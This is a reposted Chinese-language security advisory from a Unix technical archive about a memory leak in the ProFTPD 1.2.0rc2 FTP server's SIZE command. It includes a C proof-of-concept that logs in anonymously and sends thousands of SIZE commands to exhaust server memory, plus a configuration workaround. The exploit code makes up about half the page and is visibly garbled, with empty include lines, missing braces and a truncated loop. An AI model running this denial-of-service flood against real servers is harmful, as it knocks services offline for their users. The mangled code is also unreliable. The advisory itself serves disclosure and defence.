[ 永远的UNIX::UNIX技术资料的宝库 ]

首页 > 网络安全 > 程序 > 正文

Proftpd 记忆体泄漏拒绝服务攻击漏洞

来源:http://www.fanqiang.com (2001-05-20 22:08:00)

描述: 
-------------------------------------------------------------------------------- 


Proftpd是一个流行的Ftp服务软体。它在执行SIZE命令时存在一个记忆体泄漏的 
问题,攻击者可以利用此问题进行拒绝服务攻击。 

如果执行5000条SIZE命令,将导致系统用300KB记忆体。如果执行大量的SIZE 
命令,将使记忆体耗尽,导致拒绝服务攻击。攻击者只需要匿名访问权限即可 
进行这种攻击。 

<*来源:Wojciech Purczynski (wp@elzabsoft.pl) 
Piotr Zurawski [fb] (szur@ix.renet.pl) 
*> 



测试程序: 
-------------------------------------------------------------------------------- 

警 告 

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负! 



/* Proftpd DoS 
* by Piotr Zurawski (szur@ix.renet.pl) 
* This source is just an example of memory leakage in proftpd-1.2.0(rc2) 
* server discovered by Wojciech Purczynski. 
*/ 

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

#define USERNAME "anonymous" 
#define PASSWORD "dupa@dupa.pl" 
#define HOWMANY 10000 

void logintoftp(); 
void sendsizes(); 
int fd; 
struct in_addr host; 
unsigned short port = 21; 
int tcp_connect(struct in_addr addr,unsigned short port); 

int main(int argc, char **argv) 


if (!resolve(argv[1],&host)) 

fprintf(stderr,"Hostname lookup failure\
"); 
exit(0); 


fd=tcp_connect(host,port); 


logintoftp(fd); 

printf("Logged\
"); 

sendsizes(fd); 

printf("Now check out memory usage of proftpd daemon"); 
printf("Resident set size (RSS) and virtual memory size (VSIZE)"); 
printf("fields in ps output"); 


void logintoftp() 


char snd[1024], rcv[1024]; 
int n; 

printf("Logging " USERNAME "/" PASSWORD "\r\
"); 

memset(snd, '\0', 1024); 
sprintf(snd, "USER %s\r\
", USERNAME); 
write(fd, snd, strlen(snd)); 

while((n=read(fd, rcv, sizeof(rcv))) > 0) 

rcv[n] = 0; 
if(strchr(rcv, '\
') != NULL)break; 


memset(snd, '\0', 1024); 
sprintf(snd, "PASS %s\r\
", PASSWORD); 
write(fd, snd, strlen(snd)); 

while((n=read(fd, rcv, sizeof(rcv))) > 0) 

rcv[n] = 0; 
if(strchr(rcv, '\
') != NULL) 
break; 

return; 


void sendsizes() 

char snd[1024], rcv[1024]; 
unsigned long loop; 

printf ("Sending %i size commands... \
", HOWMANY); 

for(loop=0;loop { 
sprintf(snd, "SIZE /dadasjasojdasj/adhjaodhahasohasaoihroaha"); 
write(fd, snd, strlen(snd)); 


return; 


int tcp_connect(struct in_addr addr,unsigned short port) 

int fd; 

struct sockaddr_in serv; 
bzero(&serv,sizeof(serv)); serv.sin_addr=addr; 
serv.sin_port=htons(port); 
serv.sin_family=AF_INET; 

if ((fd=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP)) < 0)\ 

perror("socket"); 
exit(0); 


if (connect(fd,(struct sockaddr *)&serv,sizeof(serv)) < 0) 

perror("connect"); 
exit(0); 


return(fd); 


int resolve(char *hostname,struct in_addr *addr) 

struct hostent *res; 
res=gethostbyname(hostname); 
if (res==NULL) 
return(0); 
memcpy((char *)addr,res->h_addr,res->h_length); 
return(1); 



-------------------------------------------------------------------------------- 
建议: 

临时解决方法: 

Dmitry Alyabyev 提供了一个临时解决 
方法,限制SIZE命令的使用,在配置文件中增加下列语句: 


Deny All 


厂商补丁: 

暂无。 
(http://www.fanqiang.com)



 
 相关文章

★  感谢所有的作者为我们学习技术知识提供了一条捷径  ★
www.fanqiang.com